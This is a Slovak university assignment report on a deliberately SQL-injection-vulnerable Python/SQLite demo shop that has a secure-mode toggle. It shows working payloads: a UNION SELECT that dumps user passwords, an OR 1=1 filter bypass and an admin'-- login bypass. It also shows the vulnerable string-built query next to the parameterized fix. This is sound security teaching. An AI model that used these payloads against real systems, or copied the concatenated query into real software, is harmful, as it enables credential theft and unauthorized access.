Obsah

BIAKS ZS 2026/27 – Zadanie 2: Webová aplikácia zraniteľná na SQL Injection **1**
1. Cieľ . . . 1
2. Použité technológie . . . 1
3. Spustenie a prepínač SECURE . . . 1
4. Dátový model . . . 1
5. Zraniteľné body . . . 2
6. Ukážky útokov (SECURE OFF) — overené . . . 2
7. Porovnanie: tie isté útoky pri SECURE ON . . . 3
8. Obrana – prečo to funguje . . . 3
9. Záver . . . 3

BIAKS ZS 2026/27 – Zadanie 2: Webová aplikácia zraniteľná na SQL Injection

Autor: Daniil Radchenko **Dátum:** 10. 11. 2026 **GIT repozitár:** https://github.com/DaniilRad/biaks-sqli-demo

1. Cieľ

Vytvoriť vlastnú webovú aplikáciu náchylnú na útok **SQL Injection (SQLi)**, predviesť na nej útoky a ukázať obranu. Riešenie beží ako **jedna aplikácia** s prepínačom **SECURE**, ktorým sa za behu prepína medzi nezabezpečenou a zabezpečenou verziou — dajú sa tak priamo porovnať na tej istej stránke a tých istých vstupoch.

2. Použité technológie

Položka	Hodnota
Jazyk	Python 3 (štandardná knižnica, bez frameworku a bez závislostí)
Web server	`http.server` (`BaseHTTPRequestHandler`)
Databáza	SQLite (`sqlite3`), v pamäti (`:memory:`)
Aplikácia	„BIAKS Shop” – jednoduchý internetový obchod
Beh	len na `127.0.0.1` (lokálne, výučbové účely)

Voľba jazyka a databázy bola ponechaná na študenta. Zvolil som čistý Python + SQLite, aby bola aplikácia spustiteľná kdekoľvek bez inštalácie (`python3 app.py`).

3. Spustenie a prepínač SECURE

```
python3 app.py            # štart v zraniteľnom režime -> http://127.0.0.1:8000/
python3 app.py --safe     # štart rovno v bezpečnom režime
```

V hlavičke stránky je prepínač **SECURE**:

- **SECURE OFF** (červený banner) — *zraniteľný režim*: SQL sa skladá spájaním reťazcov, vstup používateľa sa stáva priamo súčasťou príkazu.
- **SECURE ON** (zelený banner) — *bezpečný režim*: vstup ide do databázy oddelene ako parameter (?), nikdy sa nevyhodnotí ako SQL.

Prepnutie je okamžité (bez reštartu), takže každý útok sa dá hneď zopakovať v oboch režimoch a porovnať výsledok.

4. Dátový model

```
categories(id, name)
products(id, name, price, category_id)
users(id, username, password, role, email)
```

Tabuľka `users` obsahuje aj heslá a rolu (`admin` / `user`) — je to „citlivá” tabuľka, ktorú sa útočník snaží dostať von cez zraniteľnosť v nesúvisiacom dotaze na produkty.

5. Zraniteľné body

Endpoint	Parameter	Vložený do SQL ako	Typ útoku
`GET /products?cat=1`	`cat`	číslo bez úvodzoviek	boolean / UNION
`GET /search?q=lampa`	`q`	reťazec v `LIKE '%...%'`	UNION
`POST /login`	`username`, `password`	reťazce v `'...'`	obídenie prihlásenia

Aplikácia zámerne zobrazuje **vykonaný SQL dotaz** a chybové hlášky databázy, aby bol útok názorný. (V reálnej aplikácii by samotné zobrazenie dotazu a chýb bolo ďalším bezpečnostným nedostatkom — tu slúži na výučbu.)

6. Ukážky útokov (SECURE OFF) — overené

6.1 Detekcia zraniteľnosti (error-based)

Vloženie jednej apostrofy rozbije syntax dotazu — databáza vráti chybu, čo prezrádza, že vstup nie je ošetrený.

```
GET /products?cat=1'
Vykonaný dotaz:  SELECT id, name, price FROM products WHERE category_id = 1'
Výsledok:        Chyba databázy: unrecognized token: "'"
```

6.2 Boolean-based (`0R 1=1`)

Podmienka `0R 1=1` je vždy pravdivá, takže namiesto jednej kategórie sa vrátia **všetky** produkty.

```
GET /products?cat=5 OR 1=1--
Vykonaný dotaz:  SELECT id, name, price FROM products WHERE category_id = 5 OR 1=1--
Výsledok:        7 záznamov (celá tabuľka products namiesto 1 kategórie)
```

6.3 UNION-based — únik tabuľky `users`

Útočník pripojí k výsledku vlastný `SELECT` z inej tabuľky. Stačí zhoda v počte stĺpcov (3). Produktový výpis zrazu zobrazí **mená, heslá a roly používateľov**.

```
GET /products?cat=0 UNION SELECT username, password, role FROM users--
Vykonaný dotaz:  SELECT id, name, price FROM products
                 WHERE category_id = 0 UNION SELECT username, password, role FROM users--
Výsledok:
   admin   | Sup3rTajneHeslo! | admin
   jnovak  | jano1990         | user
   mkovac  | heslo123         | user
```

To isté sa dá cez vyhľadávanie (`/search`), kde je vstup v reťazci `LIKE '%...%'`:

```
GET /search?q=xyz' UNION SELECT id, username, email FROM users--
Výsledok:
   1 | admin  | admin@biaks-shop.local
   2 | jnovak | jan.novak@example.com
   3 | mkovac | maria.kovacova@example.com
```

6.4 Obídenie prihlásenia (authentication bypass)

Komentár `--` odstrihne kontrolu hesla, takže sa prihlásime bez znalosti hesla.

```
POST /login     username = admin'--     password = (čokoľvek)
Vykonaný dotaz:  SELECT id, username, role FROM users
                 WHERE username = 'admin'-- ' AND password = '...'
Výsledok:        Prihlásený ako admin (rola: admin) — Administrácia: prístup povolený
```

7. Porovnanie: tie isté útoky pri SECURE ON

Po prepnutí prepínača na **SECURE ON** sú všetky útoky neúčinné — overené:

Útok	SECURE OFF	SECURE ON
`cat=1'` (detekcia)	chyba databázy	0 záznamov (hľadá kategóriu s textom `1'`)
`cat=5 OR 1=1--` (boolean)	7 záznamov	0 záznamov
`UNION SELECT … FROM users`	únik hesiel	0 záznamov (celý vstup je len hodnota)
`admin'--` (login bypass)	prihlásený ako admin	„Nesprávne meno alebo heslo”

V bezpečnom režime sa vstup nikdy nestane súčasťou príkazu — berie sa doslovne ako hľadaná hodnota, preto injektovaný text nič nevykoná.

8. Obrana – prečo to funguje

Jediný rozdiel medzi režimami je spôsob zostavenia dotazu (v `app.py`):

```
# ZRANITEĽNÉ – vstup sa spája do textu príkazu (stáva sa SQL kódom)
sql = f"SELECT id, name, price FROM products WHERE category_id = {cat}"
db.execute(sql)

# BEZPEČNÉ – vstup ide oddelene ako parameter (ostáva iba dátom)
sql = "SELECT id, name, price FROM products WHERE category_id = ?"
db.execute(sql, (cat,))
```

Parametrizované dotazy (prepared statements) oddelia *kód* dotazu od *dát*. Databáza najprv skompiluje príkaz s miestom pre parameter (?) a až potom doň dosadí hodnotu. Tá sa už neparsuje ako SQL, takže apostrof, `OR 1=1`, `UNION` ani `--` nemajú žiadny účinok — sú len obyčajný text, ktorý sa hľadá.

Ďalšie vrstvy obrany (nad rámec tohto zadania): validácia vstupu (napr. `cat` musí byť číslo), princíp najmenších oprávnení databázového účtu, nezobrazovať SQL ani detailné chyby používateľovi, hashovať heslá.

9. Záver

Aplikácia „BIAKS Shop” demonštruje SQL Injection na troch miestach (produkty, vyhľadávanie, prihlásenie). V zraniteľnom režime sa podarilo rozbiť dotaz, vypísať celú tabuľku produktov, **vytiahnuť heslá všetkých používateľov** cez `UNION` a **obísť prihlásenie** ako administrátor. Po prepnutí na SECURE ON (parametrizované dotazy) všetky tie isté útoky zlyhali. Tým je ukázaná aj zraniteľnosť, aj účinná obrana na jednej aplikácii a rovnakých vstupoch.

Zdrojový kód a návod: https://github.com/DaniilRad/biaks-sqli-demo